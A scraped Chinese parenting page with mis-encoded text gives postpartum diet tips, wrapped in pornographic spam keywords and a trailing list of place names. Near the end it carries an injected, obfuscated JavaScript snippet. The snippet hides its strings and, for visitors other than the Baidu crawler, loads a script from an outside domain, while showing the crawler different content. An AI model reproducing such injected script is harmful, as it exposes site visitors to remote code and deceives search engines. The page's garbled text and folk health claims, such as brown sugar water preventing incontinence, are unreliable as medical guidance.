亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

坐月子能吃一些鈣片嗎?

2017-04-02 09:39:13  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):在坐月子期間吃什么是很多孕婦非常關(guān)心的一個(gè)問(wèn)題,而且在坐月子期間女性飲食有很多的禁忌,產(chǎn)后的媽媽如果在平時(shí)不多注意調(diào)理的話,是非常

在坐月子期間吃什么是很多孕婦非常關(guān)心的一個(gè)問(wèn)題,而且在坐月子期間女性飲食有很多的禁忌,產(chǎn)后的媽媽如果在平時(shí)不多注意調(diào)理的話,是非常影響女性的健康的,產(chǎn)后媽媽在平時(shí)還需要注意鐵和鈣的吸收,下面,內(nèi)容是小編為大家整理的一些關(guān)于坐月子女性吃什么及如何安排月子期間的飲食。

坐月子吃什么好

1. 適當(dāng)飲用紅糖水,補(bǔ)鐵、利尿。紅糖的鐵含量很高,還含有多種微量元素和礦物質(zhì),能夠促進(jìn)惡露排出,防治尿失禁。不過(guò),飲用過(guò)多會(huì)導(dǎo)致新媽媽出汗更多,體內(nèi)鹽分流失。因此不宜飲用時(shí)間過(guò)長(zhǎng),最多不要超過(guò)10天。

2. 從流食慢慢過(guò)度到正常的飲食。 產(chǎn)后,消化系統(tǒng)的功能需要一段時(shí)間才能恢復(fù),因此,產(chǎn)后幾天可以選擇一些比較容易消化的食物??梢詮闹唷⒚鏃l過(guò)渡到稀飯,然后再吃米飯和面食。

3. 少食多餐,不可貪吃。因?yàn)樵伦永锩嫘聥寢尨蟛糠謺r(shí)間都是躺在床上,因此,每頓飯不宜吃太多,可以餓了再吃。

4. 避免辛辣和容易產(chǎn)生脹氣的食物。產(chǎn)后容易出現(xiàn)便秘的問(wèn)題,飲食要豐富、多食用富含植物纖維的蔬菜和水果。

5. 要多喝一些溫的白開(kāi)水,避免冷飲。飲料和酒精類飲品不適合月子里的新媽媽飲用,應(yīng)該多喝一些溫?zé)岬陌组_(kāi)水,補(bǔ)充大量出汗時(shí)體內(nèi)丟失的水分。千萬(wàn)不要因?yàn)樘鞖庋谉峄蚺鲁龊苟缺蚴谴罅渴秤美滹嫛?/p>

母親10月懷胎十分的辛苦,所以小編提醒產(chǎn)后媽媽在平時(shí)的時(shí)候一定要多注意飲食調(diào)理,飲食上還是需要選擇吃一些清淡食物,這段時(shí)間不能夠經(jīng)常熬夜或者是十分勞累,你需要多注意休息,一般情況下,產(chǎn)后3天左右就可以下床走動(dòng)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
磐石市| 仙游县| 九龙县| 长治市| 沙坪坝区| 永嘉县| 改则县| 扎兰屯市| 蓬安县| 绥江县| 临夏县| 五莲县| 贵阳市| 凤庆县| 荥经县| 京山县| 泰来县| 石柱| 高阳县| 梁平县| 霍山县| 任丘市| 高雄市| 高台县| 隆德县| 平阳县| 金沙县| 台安县| 黄陵县| 湖口县| 伊通| 政和县| 通化市| 崇左市| 牙克石市| 辰溪县| 哈密市| 新绛县| 四会市| 高雄市| 静海县|